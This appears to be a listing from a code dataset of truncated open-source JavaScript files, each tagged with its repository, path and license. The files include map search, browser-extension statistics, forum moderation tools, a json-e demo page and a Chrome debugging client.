var defaultIcon = "http://chart.apis.google.com/chart?chst=d_map_pin_letter&chld=%E2%80%A2|AAAAAA"
var activeIcon = 'http://maps.google.com/mapfiles/ms/icons/green-dot.png'
var markers = [];
var userPlacedMarker;
var mapOptions = {
center: { lat: 46.7667, lng: 23.5833},
zoom: 13,
ma... | moosechaser/no-smoking | app/assets/javascripts/map-search.js | JavaScript | gpl-3.0 | 4,594 |
// Load existent stats with the storage API.
var gettingStoredStats = browser.storage.local.get();
gettingStoredStats.then(results => {
// Initialize the saved stats if not yet initialized.
if (!results.stats) {
results = {
host: {},
type: {}
};
}
// Monitor completed navigation events and... | mdn/webextensions-examples | navigation-stats/background.js | JavaScript | mpl-2.0 | 1,122 |
/**
* @file Manage a directed acyclic graph of moderation actions
* @author Andrew Sayers
* @description Manage actions that could be taken while e.g. resolving a report
* Most actions are represented by a tree of Promise objects - the root set of promises fires first, followed by branch promises, towards leaf prom... | andrew-sayers--frontier-forums/frontier-forums-moderation-tools | src/action.js | JavaScript | mpl-2.0 | 29,676 |
import React from 'react';
import './app.css';
import jsyaml from 'js-yaml';
import jsone from '../../src';
import { find, defaults } from 'lodash';
import { Heading, Divider, Button, Link,
Text, Message, Footer, Tabs, TabItem } from 'rebass';
import sections from 'sections';
import ReactMarkdown from 'react-m... | alexandrasp/json-e | demo/src/app.js | JavaScript | mpl-2.0 | 7,748 |
const UNIVERSAL_DISPATCH_KEY = '::ALT:UNIVERSAL_DISPATCH_KEY'
export {
UNIVERSAL_DISPATCH_KEY
}
| wavebox/waveboxapp | classic/src/shared/AltStores/UniversalDispatch.js | JavaScript | mpl-2.0 | 99 |
/**
* this is TestExportNewExpressionIndirect.
*/
class TestExportNewExpressionIndirect {}
/**
* @ignore
*/
const testExportNewExpressionIndirect = new TestExportNewExpressionIndirect();
/**
* this is instance of TestExportNewExpressionIndirect.
*/
export default testExportNewExpressionIndirect;
| typhonjs-node-tjsdoc/tjsdoc-tests-ecmascript | test/fixture/package/src/export/NewExpressionIndirect.js | JavaScript | mpl-2.0 | 306 |
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
"use strict";
var system = require("system");
var fs = require("fs");
var page = require("webpage").create();
var... | senshu/Sozi-export | lib/export-video.js | JavaScript | mpl-2.0 | 4,513 |
import React from 'react';
import ReactTimeAgo from 'react-time-ago';
import { TeamInfoListItem } from './TeamInfoListItem';
import { BottomLink } from './BottomLink';
import lightbulbIcon from './static/img/lightbulb-blue.svg'
import 'Commons/static/css/pontoon.css';
import './TeamInfo.css';
if (!browser) { // eslint-... | MikkCZ/pontoon-tools | src/packages/toolbar-button/src/TeamInfo.js | JavaScript | mpl-2.0 | 3,295 |
/*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*/
/*
* Copyright (c) 2014, Joyent, Inc.
*/
/*
* examples/synth.js: example usage of statblaster to generate ... | davepacheco/node-statblast | examples/synth.js | JavaScript | mpl-2.0 | 1,950 |
// |jit-test| need-for-each
(function () {
try {
eval("\
for each(let d in[0,0,0,0,0,0,0,0]) {\
for(let b in[0,0]) {}\
}\
")
} catch (e) {}
})()
| Yukarumya/Yukarum-Redfoxes | js/src/jit-test/tests/basic/testBug595916.js | JavaScript | mpl-2.0 | 203 |
module.exports={A:{A:{"2":"H D G E A B nB"},B:{"1":"q","2":"C K f L N I J"},C:{"1":"HB IB JB KB LB MB","2":"0 1 2 3 4 5 6 8 kB OB F O H D G E A B C K f L N I J P Q R S T U V W X Y Z a b c d e AB g h i j k l m n o p M r s t u v w x y z EB NB DB BB FB eB dB"},D:{"1":"6 8 DB BB FB HB IB JB KB LB MB cB QB XB TB q sB UB VB"... | mdranger/mytest | node_modules/caniuse-lite/data/features/resizeobserver.js | JavaScript | mpl-2.0 | 995 |
/* eslint-disable */
const { connect } = require("../lib/chrome-remote-debug-protocol");
const defer = require("../utils/defer");
const { Tab } = require("../types");
const { isEnabled, getValue } = require("../feature");
const { networkRequest } = require("../utils/networkRequest");
const { setupCommands, clientComma... | helenvholmes/debugger.html | public/js/clients/chrome.js | JavaScript | mpl-2.0 | 2,148 |
import { shallow } from 'enzyme';
import * as React from 'react';
import LanguageTools, {
LanguageToolsBase,
LanguageToolList,
} from 'amo/pages/LanguageTools';
import Link from 'amo/components/Link';
import HeadLinks from 'amo/components/HeadLinks';
import HeadMetaTags from 'amo/components/HeadMetaTags';
import {... | tsl143/addons-frontend | tests/unit/amo/pages/TestLanguageTools.js | JavaScript | mpl-2.0 | 10,173 |
/**
* @file Severity Slider
* @author Andrew Sayers
* @summary slider indicating the severity of an issue
*/
/**
* @summary Slider to choose varying levels of severity for a rule violation
* @constructor
* @extends Widget
* @param {Object} args slider arguments
* @example
*
* var slider = new SeveritySlider... | andrew-sayers--frontier-forums/frontier-forums-moderation-tools | src/widgets/severity_slider.js | JavaScript | mpl-2.0 | 3,672 |
/**
* @fileOverview ShareService
* @author <a href="mailto:chris@work.co">Chris James</a>
* @author <a href="mailto:sneethling@mozilla.com">Schalk Neethling</a>
*/
define(['angular', 'jquery'], function (angular, $) {
'use strict';
var ShareService = function (
dataService,
routesService
... | mozilla/lorax | src/app/lorax/services/share.js | JavaScript | mpl-2.0 | 2,226 |
/*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*/
/*
* Copyright 2019 Joyent, Inc.
*/
/*
* lib/oneach/cli.js: command-line parser for the "manta-oneach" too... | joyent/sdc-manta | lib/oneach/cli.js | JavaScript | mpl-2.0 | 10,428 |
/**
* Created by sunil on 16-11-2014.
*/
var customFieldCounter = 1;
/* self port listeners */
self.port.on('removedCustomField', function (data) {
var parentId = data.parentId;
$('#' + parentId).remove();
});
self.port.on('settings', function (settings) {
updateBasicSettings(settings);
var customF... | sunilrebel/spann-jira | data/js/main-panel.js | JavaScript | mpl-2.0 | 8,220 |
IIPMooViewer.lang = {
'help': 'Klicken Sie bitte um Hilfstext anzuzeigen!',
'scale': 'Ziehbare Skala',
'navigate': 'Um innerhalb des Bildes zu navigieren: Ziehen sie den hervorgehobenen Ausschnitt im Hauptbild oder ziehen sie den hervorgehobenen Ausschnitt im Navigationsbild oder klicken Sie innerhalb des N... | CENDARI/editorsnotes | cendari/static/iipmooviewer/src/lang/help.de.js | JavaScript | agpl-3.0 | 1,414 |
/**
* Autogenerated base class representing message rows
* in the Streams database.
*
* Don't change this file, since it can be overwritten.
* Instead, change the Streams/Message.js file.
*
* @module Streams
*/
var Q = require('Q');
var Db = Q.require('Db');
var Streams = Q.require('Streams');
var Row = Q.requ... | jkokh/Platform | platform/plugins/Streams/classes/Base/Streams/Message.js | JavaScript | agpl-3.0 | 22,312 |
/****************************************************************************
* Copyleft gbyolo *
* [gb.yolo@gmail.com] *
* *
* This file ... | gbyolo/misTET | system/framework/Exception.js | JavaScript | agpl-3.0 | 4,937 |